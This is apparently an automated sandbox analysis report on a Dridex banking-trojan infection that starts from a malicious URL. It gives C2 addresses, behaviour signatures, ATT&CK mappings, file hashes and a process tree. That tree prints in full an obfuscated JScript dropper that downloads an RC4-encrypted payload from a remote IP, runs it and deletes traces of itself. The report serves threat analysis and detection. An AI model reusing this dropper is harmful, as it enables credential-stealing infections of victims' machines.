Resubmissions

20-10-2021 01:50

211020-b9l9kageb6 6

20-10-2021 01:45

211020-b6eqbagea9 10

Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-de-20211014
  • submitted
    20-10-2021 01:45

General

  • Target

    https://hilltop2exit.xyz/kjlfkvd82d

  • Sample

    211020-b6eqbagea9

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

37.48.124.102:9676

84.33.2.126:6225

188.40.33.77:8194

rc4.plain
rc4.plain

Signatures

  • Dridex

    Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.

  • Registers COM server for autorun 1 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
  • Modifies registry class 44 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://hilltop2exit.xyz/kjlfkvd82d
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4184 CREDAT:82945 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "hX1ZytEytd" "http://31.44.3.40/?MjQzNTky&JGJhtxT&fhfghddfsdf=arena&ogfgafgn4=wnzQMvXcLxXQFYPBJf7cT&dsfdffg43t=6RDKUfYHliJz5Gb3fqSCZ39JHT109zUSkrw6B2aCl7h_fEoLLRSOVDjikTRewdlndhZUAsSoaishhCGyBef0sbW_xaIYlhE-qKQErALhR32zYE&cxssdvxcv=128dftp.97gi66.406r8r2p7&sdfsdfdfg=shuffle&kplMTcxMTU=" "2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1768
        • C:\Windows\SysWOW64\wscript.exe
          wsCripT //B //E:JScript 3.tMp "hX1ZytEytd" "http://31.44.3.40/?MjQzNTky&JGJhtxT&fhfghddfsdf=arena&ogfgafgn4=wnzQMvXcLxXQFYPBJf7cT&dsfdffg43t=6RDKUfYHliJz5Gb3fqSCZ39JHT109zUSkrw6B2aCl7h_fEoLLRSOVDjikTRewdlndhZUAsSoaishhCGyBef0sbW_xaIYlhE-qKQErALhR32zYE&cxssdvxcv=128dftp.97gi66.406r8r2p7&sdfsdfdfg=shuffle&kplMTcxMTU=" "2"
          4⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:1592
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c 09cz9.exe
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3996
            • C:\Users\Admin\AppData\Local\Temp\09cz9.exe
              09cz9.exe
              6⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              PID:4332
  • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.180.0905.0007\FileSyncConfig.exe
    "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.180.0905.0007\FileSyncConfig.exe"
    1⤵
    • Modifies registry class
    PID:4940

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
    MD5

    bcc1cc8e9989b87087d23e119f44f534

    SHA1

    5f1f9622769b1a11ea6a5a67af094b82d6052fd1

    SHA256

    b4bb217e52ab6f7ddab1ccafda702ac33f338dfc65eaaa955afdb1979f19ca46

    SHA512

    73e3befee1440cf382a23ab83f331f17ada79a72815c5f844336830857c385ead9883eb94bbe0cae9d910618d32964f61bb30650c7e367cea2e8e9bcf4f66552

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
    MD5

    55cbc132816495c1d210f2d2131cd2e7

    SHA1

    7f751bcb8549d6bbf6c4fc841fe98b8d090296db

    SHA256

    0ccb492ac30681b8d82cc915a3aeadbf290b74a1ae4d45bfd3c4ad4f32f23e5e

    SHA512

    82f5d4191e78c1bdb19b003381cb1293d3a5d88b186205ad81ffac59b1fc9376e03ee9f5aeddc220230d4f9a1ffda9b1705e7b95993ff8df9dfc6a9612a79c0b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\IY4UI5I1.cookie
    MD5

    1f33d43b8bd928efca12f0d1e81c658f

    SHA1

    9d8d422abdc667ce1ec9b0ee182fa680cab5a157

    SHA256

    db200409dd429f2d4ae99edb04fac0310cfeda879a1856d7d681d87f52631543

    SHA512

    e2f416025a02840551b20d612733ecf898554fbce50fec711a08d20a3bf03ce7f995ca8c5c5db4c78e9371286d8766446e0e954702456513d0e0cc1e121f1032

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\SHGAC1OS.cookie
    MD5

    edf96eb6c8c5375ceada96a9adfc0780

    SHA1

    340173200c57bd3d0a10c73e97425ef8448a6753

    SHA256

    71416d91a0258cde3cbef83efd7d80d7510b8325722093d10565f94df15803cd

    SHA512

    27cecef3be9c5fb4a16af824ef84c4ae9d646d6ecd880885970bf5ddc54a3d64527d633064478d265a2e3230f723362778cc221d4a827a3793074378492331ce

  • C:\Users\Admin\AppData\Local\Temp\09cz9.exe
    MD5

    99c777be6fb871151545cfcc59c3f89f

    SHA1

    d2855b68c2aa24d4721bc0a30c0e7b2a747acefd

    SHA256

    e3dc9d3ef3a79da287ae7357a2d64c47bb01a27946c62c80225636c1bfa03629

    SHA512

    441792a45ffdd663a3e0b81bc797bab39c9de3ea7bc88814c2722fc4d915dc67ed8ec2eb9688cbcb2ae0550fccfaaa1f481ddf24f47d0050663c5c1fba4c5ef3

  • C:\Users\Admin\AppData\Local\Temp\09cz9.exe
    MD5

    99c777be6fb871151545cfcc59c3f89f

    SHA1

    d2855b68c2aa24d4721bc0a30c0e7b2a747acefd

    SHA256

    e3dc9d3ef3a79da287ae7357a2d64c47bb01a27946c62c80225636c1bfa03629

    SHA512

    441792a45ffdd663a3e0b81bc797bab39c9de3ea7bc88814c2722fc4d915dc67ed8ec2eb9688cbcb2ae0550fccfaaa1f481ddf24f47d0050663c5c1fba4c5ef3

  • C:\Users\Admin\AppData\Local\Temp\3.tMp
    MD5

    60fc00422b399db85f87d41b8328976d

    SHA1

    bb85034acad8025f97e5bb236443debaf8926e4b

    SHA256

    c38eb3965155b143c8d72bf219ec6dd985a106ce0776c272470b0019e74fb690

    SHA512

    16fa1a3c187500b5c3867fa05752428496273b73c2960c54d2e34e4833a057392c1f5469c8824fdc3d29c9ece2e65189ee281638ccaae941437a259192591151

  • memory/1592-169-0x0000000000000000-mapping.dmp
  • memory/1768-168-0x0000000000000000-mapping.dmp
  • memory/3060-140-0x0000000000000000-mapping.dmp
  • memory/3996-171-0x0000000000000000-mapping.dmp
  • memory/4184-132-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-165-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-131-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-115-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-133-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-135-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-136-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-137-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-138-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-128-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-141-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-142-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-144-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-145-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-147-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-149-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-150-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-151-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-155-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-156-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-157-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-163-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-164-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-129-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-166-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-167-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-127-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-125-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-124-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-123-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-116-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-122-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-121-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-117-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-119-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-177-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-178-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-182-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-183-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-186-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-187-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-188-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4184-120-0x00007FF8D3860000-0x00007FF8D38CB000-memory.dmp
    Filesize

    428KB

  • memory/4332-176-0x0000000000400000-0x000000000047A000-memory.dmp
    Filesize

    488KB

  • memory/4332-175-0x00000000021A0000-0x00000000021DC000-memory.dmp
    Filesize

    240KB

  • memory/4332-172-0x0000000000000000-mapping.dmp